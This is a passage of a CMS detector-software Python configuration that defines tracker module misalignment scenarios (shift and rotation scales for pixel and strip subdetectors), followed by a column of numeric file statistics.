cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(3), dYlocal = cms.double(3), dXlocal = cms.double(3), ), ), ) MisalignmentScenarioBPIX100Mu = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01),# shifts in 100mum TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ), ), ) MisalignedTPB = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ) ) ) MisalignedTPE = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ) ) ) MisalignedTIB = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ) ) ) MisalignedTOB = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ) ) ) MisalignedTID = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ) ) ) MisalignedTEC = MisalignmentScenarioSettings.clone( setError = cms.bool(False), scale = cms.double(0.01), # shifts in 100um TECEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(1), dYlocal = cms.double(1), dXlocal = cms.double(1), ) ) ) MisalignmentAPEScenarioBase = MisalignmentScenarioSettings.clone( # Sigma in mum # BPIX: 20 # BPIX-y: 10 # FPIX: 10 # FPIX-y: 20 # TEC: 20 # TIB: 10 # TID: 10 # TOB: 10 setError = cms.bool(False), scale = cms.double(0.0001), # shifts in 1um TPBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(20), dYlocal = cms.double(10), dXlocal = cms.double(20), ), ), TIBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(10), dYlocal = cms.double(10), dXlocal = cms.double(10), ), ), TOBHalfBarrels = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(10), dYlocal = cms.double(10), dXlocal = cms.double(10), ), ), TPEEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(20), dYlocal = cms.double(20), dXlocal = cms.double(10), ), ), TIDEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(10), dYlocal = cms.double(10), dXlocal = cms.double(10), ), ), TECEndcaps = cms.PSet( DetUnits = cms.PSet( dZlocal = cms.double(20), dYlocal = cms.double(20), dXlocal = cms.double(20), ), ), ) MisalignmentScenario_PhaseI_PseudoAsymptotic = MisalignmentScenarioSettings.clone( # This scenarios was created to get a phase-1 scenario with similar # performance as the phase-0 asymptotic scenario by applying the RMS values # from the phase-0 pixel as gaussian smearing to the phase-1 pixel. # The values are documented here: # https://twiki.cern.ch/twiki/bin/view/CMS/TkAlPhaseIPreparations#Pseudo_asymptotic_scenario # --> Gaussian distribution from 'MisalignmentScenarioSettings' setError = cms.bool(False), scale = cms.double(0.0001), # shifts in 1um P1PXBBarrels = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(0.854365), dYlocal = cms.double(1.20877), dZlocal = cms.double(1.52849), phiXlocal = cms.double(0.139737), # 0.139737 * 0.0001 = 0.0000139737 rad -> 0.0008006 degree phiYlocal = cms.double(0.100908), phiZlocal = cms.double(0.980077), ), ), P1PXECEndcaps = cms.PSet( DetUnits = cms.PSet( dXlocal = cms.double(3.73954), dYlocal = cms.double(4.79800), dZlocal = cms.double(6.0599), phiXlocal = cms.double(3.52428), phiYlocal = cms.double(3.17239), phiZlocal = cms.double(1.73939), ), ), )
30.600058
129
0.511615
11,218
105,509
4.78062
0.048226
0.241157
0.187212
0.069738
0.84486
0.818811
0.805068
0.790375
0.773667
0.72748
0
0.093702
0.345866
105,509
3,447
130
30.608935
0.683339
0.069188
0
0.835348
0
0
0.005115
0
0
0
0
0.00029
0
1
0.000327
false
0
0.000653
0
0.001307
0
0
0
0
null
1
1
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
9